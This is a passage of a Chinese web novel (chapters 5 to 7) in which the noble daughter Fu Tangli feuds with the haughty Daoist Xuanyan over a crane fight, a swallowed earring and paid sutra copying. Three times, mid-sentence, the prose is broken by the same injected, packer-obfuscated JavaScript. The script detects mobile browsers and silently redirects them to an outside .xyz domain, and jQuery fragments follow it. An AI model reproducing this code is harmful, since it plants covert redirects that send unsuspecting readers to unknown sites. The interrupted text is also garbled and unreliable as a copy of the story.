又是一只白鹤,它不知何时飞到傅棠梨的身后,这家伙的脾气很有些暴躁,大约觉得自己的领地被外人闯了进来,十分不满,扑扇着翅膀,气势汹汹地杀过来。 “咄,扁毛畜生,安敢伤人!”傅棠梨又岂是好性子,她自幼在北地长大,不似长安贵族娇娇女,当即心头火起,这一下,不避不让,反而迎面而上,不顾自己手还伤着,伸手揪住了白鹤那双大翅膀。 白鹤自然更生气,叫声愈发尖锐。 一人一鸟,就这样在雪地里滚成一团,左边一爪子,右边一粉拳,有来有往,越打越起劲,积雪“扑哧”乱飞,连带着雪底下的泥也翻了出来,蹭了满头满脸。 打到酣处,眼见得,傅棠梨拔掉了白鹤的尾巴毛,就要揍它屁股,而白鹤爪子挠住了傅棠梨的头发,鸟喙就要往她脑门上啄去,千钧一发之际,有人从斜里伸手过来,一手拎住傅棠梨的后衣领,一手卡住白鹤颈项,强硬地往两边一扯,及时打断了这场斗殴。 男人的声音,低沉而浑厚,带着和这冰雪一般无二的寒意:“肃静,不得打闹。” 此人好生无礼,怎么能这样揪着她?傅棠梨心生恼怒,但那只手力气极大,勒得她无法出声。 抚琴的道士就在她的面前,此刻他站了起来,傅棠梨才发现,他居然那么高,她被他捏在手里,显得格外弱小,小腿蹬了好几下还触不到地面。 距离太近了,他的容貌过于俊美,近乎天人,因而生出了一股凌厉的压迫感,似神祇在群山之巅的俯视,冷漠而高傲。 他并没有什么表情,但傅棠梨分明觉得,他脸上写着大大的“嫌弃”,拎着她,仿佛手上黏了一团泥巴,大抵在思忖着要扔了还是要埋了。 至于那只惹事的白鹤,被那道士另一只手掐住了脖子,它已经歪着脑袋在装死了,只有那爪子一抖一抖的,证明它还有气。 “玄衍师兄。”远处传来一声惊呼,“师兄,出了什么事?” 两个年轻的道士从林外跑来,见到这边的情形,其中一人急急上前:“还请师兄放手,白玉要被你掐死了,您好歹饶过它吧。” 玄衍冷冷地“哼”了一声,手一松,把一人一鹤都扔了。 傅棠梨站立不稳,踉跄着退了好几步,背后靠到了梅花树,才停了下来,手捂着胸口,她方才被勒得太紧,这时候只觉得眼前金星乱闪,什么话也说不出来。 那只唤作“白玉”的白鹤趴在地上,可怜兮兮地用翅膀蹭了蹭玄衍的脚尖。 玄衍的脸色更冷,脚动了一下。 年轻的道士马上扑过来,赶在玄衍踢飞之前,把白玉抱了起来:“师兄,我们带白玉回去,给它洗一洗,再给它梳梳毛,熏点苦草香,保证干干净净。” 玄衍勉强忍住了,他拿出一方帕子,把手擦了又擦,淡淡地吩咐道:“叫人过来,把林子打扫一遍。” “是、是。”两个道士齐齐躬身,恭敬地应道,“这周围用泉水冲一冲,再叫人从山顶上挖点雪过来补好,保证一丝不乱,请师兄放心。” 玄衍看了傅棠梨一眼。 他瞳眸的颜色有些浅,像是雪落下来,覆盖星海。那一眼,宛如冰雪中掠过的锋刃,寒气逼人。 一瞬间,傅棠梨觉得浑身的寒毛都竖了起来,这种感觉似乎有些熟悉,但她却想不起是什么缘由,有些心惊,不动声色地后退了一步。 玄衍马上将眼睛转走了,似乎连一眼都不想多看,他擦了手,扔了帕子,拂袖而去,只冷冷地丢下一句话:“何来浊物,扰人清静。” 在他身边的另一只白鹤双翅一展,跟着飞了起来,惹得乱梅落下无数。 端的是仙人风姿,可惜说的不是人话。 傅棠梨自认容止静宜、言行清雅,堪为长安贵女之典范,未曾想有朝一日,居然被人当面斥为“浊物”,她一时过于震惊,以至于呆滞了片刻,待到回过神来,玄衍已经走远了。 傅棠梨的嘴角抽了抽,深深地吸气、再吸气。 两个年轻的道士对视了一眼,其中一人抱着白鹤,另一人抬手作揖:“小道乃云麓观玄安、玄度,给女善信赔罪了,白玉和珍珠住惯了这片梅花林子,视为己有,白玉尤其暴躁,莫说女善信,就是我们观里其他师兄过来,也要被它驱赶,禽鸟无知,还请女善信宽恕一二,莫要计较。” 白玉完全没了刚才的神气,趴在道士的怀里,有气无力地“嘎”了一声。 傅棠梨瞟了一眼白玉的尾巴,可怜见的,毛都秃了,她强行冷静下来,客气地回道:“无妨,是我惊扰它了,如此便罢了。” 玄安笑得温和,继续道:“还有一说,我家玄衍师兄每日早课后,必来这梅花林中小坐片刻,他生性极好洁净,眼里容不下分毫脏乱,女善信日后还请少来为宜,免得两厢不快。” 怎么,莫非她就是“脏乱”,让人眼里容不下? 傅棠梨刚刚压下去的恼火又被勾了起来,她慢慢地道:“天地造物,自然所有,我如何来不得?” 玄度却不若玄安和气,他冷着脸,一板一眼地道:“师兄若不允,旁人便来不得。” 傅棠梨皱了一下眉头,方要说话时,却听有呼喊声传来。 “娘子。”胭脂终于取了伞,找到这里,气喘吁吁地跑过来,“您可叫我好找,怎么不等等我,看看,雪都落到您……” 她的话说到一半就卡住了,眼睛都瞪圆了:“娘子!您怎么了,这么脏?” 这婢子在说什么? 傅棠梨此刻最听不得这个“脏”字,霍然转头,怒视胭脂。 那边白玉又凄惨地哀鸣了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647407|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄安和玄度顾着这只白鹤,无暇多说,匆匆离开了。 胭脂被傅棠梨瞪得心虚,后面的言语没敢说出来,讪讪地笑了一下,硬生生地扯了个话题:“娘子今日可曾寻得仙人?” 不妙,娘子的脸更黑了。 傅棠梨冷笑起来:“仙人没有,倒是撞到一个自命清高的臭道士,装腔拿调,矫揉造作……” 话说到这里,又觉得不对,恍惚记得前一日堪堪有人拿这几个词来挤兑她,如今由她自己口中说出,那味道分外怪异起来。 她悻悻然住了口:“算了,不提那个,晦气东西。” 遇到这等扫兴事,什么闲情雅致都没了,傅棠梨板着脸回去了。 待到得家中,黛螺和孙嬷嬷迎了出来,一见傅棠梨,皆是大惊失色:“娘子这是怎么了,敢情掉到泥坑里去了?胭脂这丫头,怎么伺候娘子的,该打。” 傅棠梨抬起下颌,仪态骄矜,环顾左右:“不小心跌了一跤,不算什么,休得大惊小怪。” 众人见娘子脸色不对,皆低头诺诺而已。 进了屋,见左右奴仆都退下了,傅棠梨迫不及待地对胭脂吩咐道:“快、快,拿镜子过来。” 胭脂憋着笑,取了镜子出来,捧到傅棠梨面前。 傅棠梨一把夺过镜子,看了看。 真真惨不忍睹。 她的发髻散开,簪子可笑地勾在尾梢,头发乱糟糟的,如同杂草打了结,鼻子红扑扑,额头也红扑扑,大约是那一下脸着地摔出来的,泥土沾了满头满脸,黏黏嗒嗒,或许是她自己在地上蹭的、又或许是白鹤的翅膀扇的,总之,带着种种可疑的印子,黑糊糊的一团团。 这是谁?断乎不是以端庄淑贤而出名的傅家二娘子。 傅棠梨沉默地端详了片刻,放下镜子,面无表情地道:“先人有云,不拘于形,不役于心,一切表象皆为虚幻……” 说到一半,她还是忍不住,“啪”的一下,把镜子倒扣在案上,咬牙道:“我为何如此狼狈,还不是被那恶鸟所欺,可恨它的主人却指为我‘浊物’,岂有此理!清静山林,何处来此恶劣道士,傲慢不逊,面目可憎,叫人生厌。” 她越说越气,抬手比划着给黛螺和胭脂看:“他还揪我衣领子,掐得我差点断气,何其无礼、何其张狂,若要在长安城中,定要叫人把他手打断!” 胭脂赶紧附和:“对,手打断。” 黛螺是个实在人,小心翼翼地问道:“那么,娘子,要从府里叫人过来,把那道士打一顿吗?” 傅棠梨念叨半天,末了却叹了一声:“算了,如今比不得在渭州,我是端方闺秀,贤名在外,不能为了这种事情去和人争强斗狠,福生无量天尊,就此打住吧,我只愿别再遇到那臭道士了,多看一眼都叫人怄气。” 可惜天不遂人愿,这事情似乎没完。 到了晚间上床就寝时,傅棠梨才发现,她的一只耳珰不见了。 5. 第 5 章 那是外祖母所送的一对白宝石,白宝石产自西域波斯,珍异有华彩,经名匠之手镶嵌成耳珰,素来为傅棠梨所喜爱,因那耳珰精致小巧,坠在耳朵上,寻常也不留意,直到这会儿才发现丢了一只。 奴仆们各个掌着灯,在屋里屋外翻了个遍,也没找到。 傅棠梨眉头打了结,沮丧地道:“别翻了,十有八九是今儿和鸟打架的时候,掉落在梅花林中了。” 黛螺安慰道:“无妨,明儿过去找找,就那点地方,找得回来。” “只能如此了。”傅棠梨无奈,恨恨地咬住被角:“若是不凑巧,再撞见那臭道士,才叫做一个晦气。” 她气鼓鼓地翻身睡去,这一夜梦里也不得踏实。 —————————— 翌日,雪初歇,天晴好,日光照耀在积雪上,白得有些晃眼。 傅棠梨大早就带着胭脂去了梅林,要寻那耳珰。 可是,才到了林外,远远的就看见玄安、玄度两个道士抱着手站在那里,一左一右,显然是看守之意,不让外人靠近。 胭脂躲在道观外的围墙角落,扯了扯傅棠梨的袖子,小声地道:“那两个道士看过去高高大大的,甚不好惹,若不然,我们过了午后再来?” 傅棠梨张望了一下,犹豫着摇了摇头:“那么小的物件,早点去寻,指不定还能寻到,再耽搁着,怕是影子都没了。” 她戳了戳胭脂,果断地吩咐:“你去,和那两个道士闲聊两句,绊住他们,我趁机过去找一找,就一会儿工夫,若不得,也就罢了。” 胭脂素来是个忠心又大胆的,她听话地点了点头,鼓足勇气,大步走了过去。 眼见得玄安、玄度拦住了胭脂,在那里争执起来,傅棠梨轻手轻脚地从围墙边上绕了过去,偷偷地进了梅花林。 她循着昨日的方向走去,不多时,便听到琴声自前方传来。 曲调清冷高远,好似浮云掠过峰峦,溪水滑过山涧,颇有神仙意境。 傅棠梨生出警惕之心,不敢再往前走,她拨开层层叠叠的梅花枝,打量了一下周围的情形。 玄衍坐于昨日的梅花树下,碧城色的道袍长而宽舒,衣袖逶迤在雪中,他的眉眼昳丽而浓烈,却带着清冷的寒意。 故作清高罢了,实则是个无礼狂徒。 傅棠梨冷哼了一声,转过头去,突然间,目光却被旁边的东西吸引住了。 稍远处,一只白鹤在刨雪,还时不时低头,用长长的鸟喙啄一两下,随着它的翻刨,有一样东西在日光下闪闪发光,十分夺目。 嚯,那可不是她的白宝石耳珰吗? 至于那只白鹤,傅棠梨认真看了看,嗯,很好,尾巴上的毛是完整的,不是昨日那只“白玉”,应该脾气要好些。 她撩起裙裾,屏住呼吸,悄悄地从树后摸过去,一步一步地靠近白鹤。 琴声未歇,却骤然拔高,急促了起来,如疾风乍起,流云飞卷,瀑布直下悬崖,铿锵似有刀戈之意。 傅棠梨听得心惊,偷偷看了一眼,却见玄衍并未抬头,依旧静坐抚琴。 她放下心来,继续潜行,好不容易靠近了白鹤,不太敢探身出去,只伸出一只手,摸、摸、摸。 那只白鹤正用鸟喙啄着白宝石,冷不防,有只手从树后面伸出来,戳了戳它的爪子,这是只胆小的,吓得抖了一下,“嘎”的一声,直接把那颗小小的白宝石吞了下去。 “啊?”傅棠梨傻眼了,情急之下,扑了过去,抓住鸟喙,试图强行掰开,“给我吐出来、快吐!” 白鹤惊恐万状,疯狂地“嘎嘎”大叫,大翅膀扇起地上的雪,混合着泥,“噗嗤噗嗤”地兜头撒过来。 “别叫,快把东西还给我。”傅棠梨手忙脚乱,又要去按它的翅膀。 白鹤惨叫着,扑腾得更厉害了,和傅棠梨滚做了一团。 就在不可开交之际,还是先前那双手,伸了过来,一手提着傅棠梨的后衣领、一手捏住白鹤脖子,强行一掰。 “嘶”的一声,人和鸟分开了,半截袖子挂在鸟爪子上。 这只白鹤真比不上昨日那只,“嘎”的一下,直接晕死过去,软趴趴的,在玄衍的手里一动不动。 玄衍容貌俊美若天人,凛然有华贵之气,又兼之身形高大,神情冷肃,气息如同山岳压顶一般,迫面而来。 傅棠梨并非怯懦之人,却没来由地打了个寒战。 “又是你?”玄衍眉头一皱,丢开傅棠梨、扔掉白鹤,当即掏出帕子擦手。 他的声音如同经年不化的雪,冷到骨子里:“蓬头垢面,不事边幅,胡不自知?反屡屡至此,究竟有何图谋?” 蓬头垢面,不事边幅? 他在说谁?傅棠梨睁大了眼睛,用手指了指自己,手指都有些颤抖。 玄衍瞥了她一眼,那眼神十分明确。 岂、有、此、理! 傅棠梨一时气极,反而很快冷静下来,她点了点头,长长地吸了一口气,简单干脆地道:“道长昨日唆使白鹤,无故伤我,令我一只耳珰遗失此处。”她指了指地上的那只,“今日,它又将我的耳珰吞下,若不能取回,少不得,明日还要过来叨扰道长。” 她嫣然一笑,越发从容,双手笼在袖中,气定神闲地问道:“我倒想问问道长,你引我屡屡至此,究竟有何图谋?” 这女郎,此刻袖子缺了一角,衣裳皱巴巴、脏乎乎,头发乱得像杂草,脸上还带着雪和泥巴的印子,但她笑起来的时候,眼波似春光,明媚又张扬。 就如同一只灰毛麻雀,跳在枝头,叉着翅膀,悍然挑衅。 玄衍沉下脸,断喝一声:“玄安、玄度。” 两个道士闻得召唤,忙不迭飞奔而来:“师兄有何吩咐?” 到了这边,看见傅棠梨站在那里,玄安和玄度皆是大惊:“女善信,你怎么又来了?” 玄衍拂了拂衣襟上的落花,挑了挑眉毛:“嗯,她怎么又来了?” 他的脸色淡淡的,也不见得有什么怒意,玄安和玄度却出了一身大汗,“刷”的跪下了,把头低低地伏下去,不敢吭声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647408|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 傅棠梨镇定自若,慢悠悠地把方才的话重复了一遍,顺便,替玄衍问了他两个师弟:“你们要如何赔我的耳珰?” 玄安和玄度对视了一眼。 玄安清了清嗓子,吞吞吐吐地道:“其实无妨,珍珠和白玉日常也吞些小石子,过两天就拉出来了……” “闭嘴!”玄衍的脸都黑了,恨不得把玄安和珍珠一起扔了。 他本来就不多的耐心已经消耗殆尽,抬手指了指傅棠梨,简单地道:“叫她走,若再来,你们两个自去领罚。” 言罢,拂袖而去,走得比昨日还快一些。 胭脂躲在梅花树下,方才被玄衍的气势所摄,不敢露头,这会儿急急跑了过来:“娘子,怎么又把一身衣裳弄成这样,可怜见的。” 玄安和玄度从地上起身,苦着脸,抱怨道:“我们才可怜,女善信再来一趟,我们两个回头就要挨板子了。” 傅棠梨扶着胭脂的手,抬起下颌,她虽然容形狼狈,但依旧仪态端庄,说起话来轻声细气,十分诚恳:“明儿我肯定不来这里了,两位道长大可放心。” 玄安有些怀疑:“真的?那耳珰……” “哦,先欠着。”傅棠梨轻描淡写地应道,她举步离去,想了想,又回头,微微地笑了笑,补了一句,“早晚我讨得回来,不急。” …… 走回去的路上,傅棠梨始终面带微笑,如春风拂面,说不出的温婉恬静,看得胭脂心惊肉跳。 及至回到家中,傅棠梨依旧笑容不变,甚至拿起镜子的时候,笑得露出了雪白的小牙齿,极其灿烂:“嗯,蓬头垢面,不事边幅,是不是?” 胭脂的汗都下来了,使劲摇头:“没有的事,我们家娘子端方娴雅,再高贵不过了,谁人敢造谣中伤?” 黛螺悄悄地扯了扯胭脂:“怎么了?又遇见昨天那道人?” “不错,有缘人总是相逢。”难为傅棠梨咬牙切齿的时候,还能继续微笑,“深山野道,不通人情、不知礼仪、目下无尘,他何来这般底气,对我百般鄙夷,还要质疑我对他有所图谋,这世间竟有如此自大之人,真真匪夷所思。” 黛螺毕竟稳重,闻言劝道:“娘子莫气,您是金尊玉贵的人,只因样样都好,才惹得那些轻狂之辈嫉妒诋毁,往日您都不在意,怎么这回竟生这么大的气,这可不是抬举那个道人了,他哪里配?我们不理他就是了,不算什么。” 黛螺一边说着,一边和胭脂一起为傅棠梨更换了衣裳,下面的小婢奉上了热汤与巾帕等,服侍傅棠梨沃面净手,又为她重新梳理头发。 小巧的博山琉璃香炉点在妆台上,里面点着雪中春信香,甜味香软,烟絮袅袅,凭空生出一点曼妙的虚影。 傅棠梨的手指头在琉璃小炉上叩了叩,发出清脆的“叮当”之声,她突然笑了一下:“我呢,是个特别小心眼的人,偏生受不得这种气,山间岁月无聊,既如此,不若找点乐子耍耍?” 黛螺和胭脂面面相觑,不明所以。 —————————— 6. 第 6 章 隔了一天,傅棠梨照样出去了,这回去的是道观。 天寒负雪,稍远处白梅掩隐,云麓观殿阁斑驳,有两三道士持着竹帚在廊前阶下扫雪,发出一点点沙沙的声响。 这道观名不经传,隐在深山,如今正值暮冬,更是寂寥,天尊宝殿中,值殿的老道士盘腿坐在那里,头一点一点地打瞌睡,香炉中袅袅一线轻烟,须臾便散了。 傅棠梨进得殿中,黛螺去取水,胭脂去点香。 老道士惊醒了,见有香客来,立即精神抖擞,上前来,手中拂尘一甩,作了一揖:“福生无量天尊,贫道青虚子,乃此间住持,这厢有礼了。” 傅棠梨躬身回礼:“见过青虚师父。” 黛螺用紫铜小盆接了水来,傅棠梨不顾天冷,仔细净了手,用帕子擦干,胭脂取了香来,傅棠梨举至眉心高,三礼三叩,敬了三宝香。 礼仪周全,姿态端庄,恭敬又虔诚。 看得青虚子不停点头,待傅棠梨上香毕,含笑道:“女善信有心了,我这云麓观虽然香火清冷,但天尊多有灵验,女善信有所求,尽可祈愿。” 傅棠梨愈发恭谨,柔声道:“信女此来,是为先外祖母、先母祈福,愿以十两香火灯油供奉,求观中真人为我书太上救苦经七七四十九遍,令上达天宫,度先人苦难。” 就是因为云麓观地处僻远,等闲无人上门,当初青虚子才被人勒令搬至此处,这么几年来守着一座孤零零的观院,底下不过七八个徒弟,日子乏味得令人发指,如今难得有人上门烧香,还要供奉香火银钱,十两,真是大手笔,简直是云麓观的贵人。 老道士两眼发光,骄傲地挺起了胸膛:“这个好说,老道出身于元真宫,本是青阳真人的师弟,有神游八极之能、触手生春之术,今日老道亲自抄经,自有功德加倍,不负女善信心意虔诚。” 这老道士生得高且瘦,面容清癯,三绺长须,端的是一幅仙风道骨之态,可惜却是个浮夸之辈。 元真宫乃天下第一观,青阳真人更是被章武、元延前后两位帝王奉为国师,妙法崇高,凡人不可企及也,这小小云麓观居然也敢攀扯关系。 黛螺和胭脂齐齐撇了撇嘴。 傅棠梨神色不动,和和气气地与老道士商量起来:“这倒不必劳烦师父,贵观有一道长,名曰玄衍,我曾偶遇,见其风华清雅,有登仙之意,想来道法高深,但求玄衍道长为我抄经,庶可以为先人祈极乐之福。” 青虚子的笑容僵在了脸上,忍不住多看了傅棠梨几眼。 傅棠梨今日穿了一袭素色的直袖束腰襦衣,形若华茂春松,仪静体闲,气质似荣曜秋菊,清淡雅致,怎么瞧,都是无可挑剔的端庄闺秀。 青虚子瞧不出什么虚实,只能认定这位女郎眼神不好,误把修罗当神仙。他咳了两声,委婉地道:“玄衍乃是老道的徒弟,若论修行,不如老道甚远,女善信何必舍近求远。” 傅棠梨听后,摇了摇头,遗憾地道:“原来玄衍道长不得闲,那便罢了,我改日再来。” 眼见得傅棠梨作势欲行,青虚子急了,果断地道:“他闲,十分闲,女善信稍候,老道这就叫他出来。” 老道士火急火燎地到后堂去了。 黛螺是个实诚人,有些心疼,悄悄地道:“十两银子,十两,不值得。” 胭脂忠心耿耿地为娘子辩解:“你眼界忒小,旁的不说,渭州那座银矿一半的收益,都是娘子的,名副其实的银山在那,区区十两算什么。” 傅棠梨嘴角翘了翘,轻描淡写地道:“不错,有钱,怕甚?” 黛螺“啧啧”了两声,就不说什么了。 傅棠梨气定神闲地等着,过了许久,才见玄衍出来,名为住持师父的青虚子反而跟在他的身后,还弓着腰,不断作揖。 玄衍的脸色一直都是那么冷,看不出来他的情绪,他走到近前,看清是傅棠梨,居然还笑了一下:“又是你。” 笑起来更冷了,叫人打了个哆嗦。 黛螺和胭脂齐刷刷地后退了一步,娘子说得对,这位玄衍道长实在不好相与。 唯有傅棠梨神色自若,略一颔首,矜持又娴静:“固有所请,有劳道长。” 玄衍淡淡地瞥了青虚子一眼,没有说话,挑了挑眉毛。 青虚子知道这个徒弟的底细,吓得额头上冒出了大汗,好在他向来是个不怕死的,当下冒着玄衍那利剑一般的目光,强行点了头,还要语重心长地对他教诲一番。 “仙道贵生,无量度人,一半在修行,一半在红尘,玄衍啊,当初为师听了你的话,搬到这世外山野之地,固然清静无尘,然则不能济世度人,终究不得吾辈道家真义,如今,难得有善信来此,需你祈福解厄,此乃祖师降下的机缘,断不可推辞。” 玄衍懒得开口,只是冷冷地盯着青虚子。 青虚子的声音越来越小:“玄衍,我是你师父,所谓天地君亲师,我既为尊长,你当从我所命,听话,去,抄写太上救苦经七七四十九遍,不得有误。” 他一边说着,一边后退,话才说完,人已经到了殿门口,一溜烟就跑了,头也不敢回。 玄衍面无表情,转过来看着傅棠梨,试图用目光将她逼退。 此人高傲清绝,如雪山之松,拒人于千里之外,瞧过去……更叫人牙痒了。 傅棠梨微微一笑,抬手做了个“请”的姿势,温和地道:“道长当下可动笔墨否?” 两人对视半晌,傅棠梨岿然不动。 玄衍深深地吸了一口气,沉默了一下,沉声道:“随我来。” 天尊宝殿两边配有侧殿,为道士修行功课之所。玄衍步入其中,径直坐下,此间笔墨纸砚齐备,他提起袖子,开始研墨。 黛螺和胭脂守候在殿门外,傅棠梨跟进偏殿,寻了一方禅凳坐下,离玄衍不远也不近,就那么悠闲地看着他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647409|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玄衍研了墨,并不抄经,先取了一方朱砂和几张符纸出来,提笔在上面如行云流水般涂抹了几笔。 而后,他抬头,冷漠吐出一个字:“手。” 傅棠梨斟酌了一下,提着袖子,试探地伸出一只手去,且看他做甚。 “啪”的一下,玄衍把一张符箓贴到了她的手心。 “太清涤尘符,拿着,保持净洁。” 傅棠梨一瞬间几乎要掀桌。 不、不、不,小不忍,则乱大谋。她在心里反复念叨了几遍,好不容易把气息按捺下来,将那符箓折起,纳入袖中,慢慢地点了点头:“是,谨遵道长教诲。” 年轻的女郎此时容服素净,言止温雅,头发一丝不苟地梳成高髻,露出一截生嫩的颈项,因她仪态优美婀娜,望之若白鸿。 玄衍瞥了一眼,觉得今日勉强可以忍她,他略一颔首:“汝何人?何所祈?说。” “小女子傅姓。”傅棠梨敛了眉目,稍一沉吟,轻声道:“小字梨花,原居渭州襄武,此来为先外祖母方氏讳淑慎及先母韩氏讳令雅祈福,愿两位先人早脱迷途,超出三界,善见福报。” 玄衍不再言语,他换了一只笔,先誊写了善信之名及祷祝之由,而后开始抄经。他的笔锋勾折铿锵,与他那清高雅致的气息截然不同,充满了铁马金戈的锐气,苍劲有力,直透纸背。 侧殿里点着九和香,此为天人玉女捣罗之香,味沉而丰腴,这种气息慢慢地散在笔墨之间,让周遭的事物跟着一起柔软了起来。 傅棠梨的手指头在案几上轻轻地敲了敲,如同一只小虫子,“叩叩”两声。 玄衍恍若未闻,连睫毛也不曾颤动一下。 傅棠梨用袖子掩住口,轻轻地咳了一下,柔声问他:“敢问道长,这经文中‘我本太无中’是何意思?” “救苦天尊原本由元炁所化生,常人不可窥之。”玄衍目不斜视,勉强应了一句。 傅棠梨存心不让他清静,又道:“此处‘是名三宝君’何指?” “三宝者,天宝、灵宝、神宝,为三洞尊神,谓之洞真、洞玄、洞神。”玄衍的脸色不妙了。 奇怪,他生气的模样,好像格外顺眼一些。 傅棠梨笑吟吟的:“那‘天上三十六,地下三十六’又各自是什么呢?” 玄衍沉着脸,又取了一张符纸,提笔刷刷几划,而后,伸手一按。 “嗯?”傅棠梨靠得太近了,躲闪不及,那张符纸沾着朱砂,就那么正正地沾在了她的脑门上。 “甘露清静符,拿着,肃静。” 傅棠梨闭上眼睛,深深地吸气、又吸气,再睁眼时,目光一派清亮,不气也不恼,脸上的笑容还多了几分狡黠,她把脑门上的符箓抓下来,在手里晃了晃:“道长,为了请您抄经祈福,我花了十两银子香火钱,您好歹对我耐心点儿。” 玄衍的笔尖顿住了,他霍然抬眼,目光如剑。 7. 第 7 章 “十两银子。”傅棠梨一脸无辜之色,重复了一遍。 玄衍面无表情,慢慢地放下了笔,他眼眸的颜色宛如琥珀,本来有点儿浅,但如今却变得极深,似夜色沉沉,危机四伏。 大抵这位玄衍道长自认身价不低,十两银子很不入他的法眼。 傅棠梨在心底“啧啧”了两声,慢悠悠地道:“若不然,道长您多用心些,我再加一二两也是使得的。” 玄衍目光注定傅棠梨,一字一顿地道,“青虚子那厮,居然诓我,你乃师伯引荐而来,情面不可却,原来却是为了十两银子,你也真敢,十两银子竟叫我抄写太上救苦经四十九遍,何人借你这包天之胆?” 这位道长不知修的是什么法门,虽然神情沉稳不动,但盛怒之下,威压如山岳,迫面而来。 好在傅棠梨前面历经了几次,如今已经很能扛得住了,她面不改色,声音冷静又温和:“唐突道长,诚我之过,道长息怒,我这就走。” 言罢,她款款起身,叉手为礼,而后退出,举止风雅,绰约若仙人,临到门边,却回眸一望,眼波盈盈,似春光秋月集于其中,明媚而清澈。 她走后,周遭骤然安静下来。 九和香的味道渐渐浓郁,莲花小炉中的烟气升起,如同纱絮,纠缠成团。 玄衍长长地吐出一口气,平复了气息,看着面前抄到一半的经文,沉默良久,鬼使神差一般,又提起笔来。 笔尖尚未落到纸上,门口传来一个轻轻的声音:“道长……” 玄衍抬眼望去。 傅棠梨不知何时又折了回来,站在门口,双手笼于袖中,门扉半掩半遮面,遮不住她眉眼弯弯:“主持师父已经允了我,太上救苦经,七七四十几遍,一遍都少不得,今日抄不完也无妨,慢慢抄,够抄好几日的,我往后日日都来,劳您费心了。” 玄衍笔锋一顿,如金戈突起,生生勾破了纸。 —————————— 翌日,早晨起来的时候,傅棠梨捂着嘴,咳了两声。 黛螺紧张不已,抱怨道:“都怪胭脂那丫头不尽心,跟着娘子出去两次,都叫娘子跌到雪地里去了,看看,这可不是就受了寒气。” 胭脂讪讪的:“娘子今儿就在家里好好歇着,炭盆子烧得暖暖的,捂一捂,可别再出去吹风了。” 傅棠梨却不肯依:“玄衍道长的经文还未抄完呢,我今日要去云麓观中探视一番,无妨,看着他既生气、又不能发火的模样,真真叫人神清气爽,什么毛病都消了。” 黛螺一边给傅棠梨添衣,一边困惑地问道:“我却不懂,娘子打的什么主意,那等恶道人,合该离远些才是,怎么还往他面前去凑?” 傅棠梨随口“哦”了一声,漫不经心地道:“此人不是问我有何图谋吗?我琢磨着,那便如他所言,使些手段出来,哄他入彀,叫他为我低头折腰,到时候,我要将当日的羞辱百般还他,叫他这浊物无地自容。” 黛螺吓得一抖,手里的佩环都掉了:“娘子,这话可不兴说。” 她飞快地看了看周围,幸好,此时只有她和胭脂二人近身服侍,她急忙道,“娘子已经许了太子,怎可和旁的男子有什么瓜葛,再说,那是一个出家人……唉,那等山野之民,身份微末,哪里值得娘子为他费心,万万使不得。” “急什么。”傅棠梨“噗嗤”笑了一下,好整以暇地抬手理了理发鬓,“不过寻个乐子,打发时间罢了,我也不当回事,若能成,解我心头之恨,若不成,也就罢了,那道人容貌生得极好,得空了过去逗逗他,旁的不说,至少叫人赏心悦目,不吃亏。” 傅棠梨心意既定,黛螺也劝说不得,只好自己嘀咕着,又将那道人埋汰了一通。 随后主仆三人出门,依旧去了云麓观。 傅棠梨烧了三宝香,做足礼数,又拿了些碎银敬奉香火。 青虚子出来,也不说话,只是比了个噤声的手势,挤了挤眼睛,用拂尘指了指左边的侧殿。 这位主持师父是个老好人,和蔼可亲,看过去总是笑眯眯的,也不知他如何教出玄衍那种又冷又硬的徒弟。 傅棠梨对青虚子的提示心领神会,命黛螺胭脂去大殿上添香,她这厢施施然走了过去。 玄衍在昨日的书案前抄写经文,沉默而冷淡,没有抬头,也没有看她一眼,大抵是对她的唐突已经麻木了,不愿多言。 笔锋划过宣纸,偶尔有一点沙沙的声响,如同窗外的雪落下。 傅棠梨也和昨日一般,坐在案边看着他。 天光从旧纱窗中照进来,透明得近乎苍白。他的面容笼在半明半暗中,垂了眉眼,抿着嘴唇,轮廓宛如工笔勾勒,有水墨风韵。 案上点着一炉香,烟气似有还无,譬如流光浮影,须臾即散。 傅棠梨轻轻揭开炉盖,执起银箸,剔去孔隙间的残灰,那香气转瞬又沉郁了起来。 “今天的信灵香味道却清,我看比昨天的九和香好些。”她的声音轻柔而婉转,合着烟絮一起散在笔墨松香间,“太清玉册曰,焚信灵以达天帝灵所,时值隆冬,此间似少一味甘松,若添之,九重天上亦增暖意,更妙。” 玄衍终于抬眼,看了她一下,总算他的目光平和,并无不悦之意,淡淡地道:“甘松味辛,我不喜,故令弗添。” 傅棠 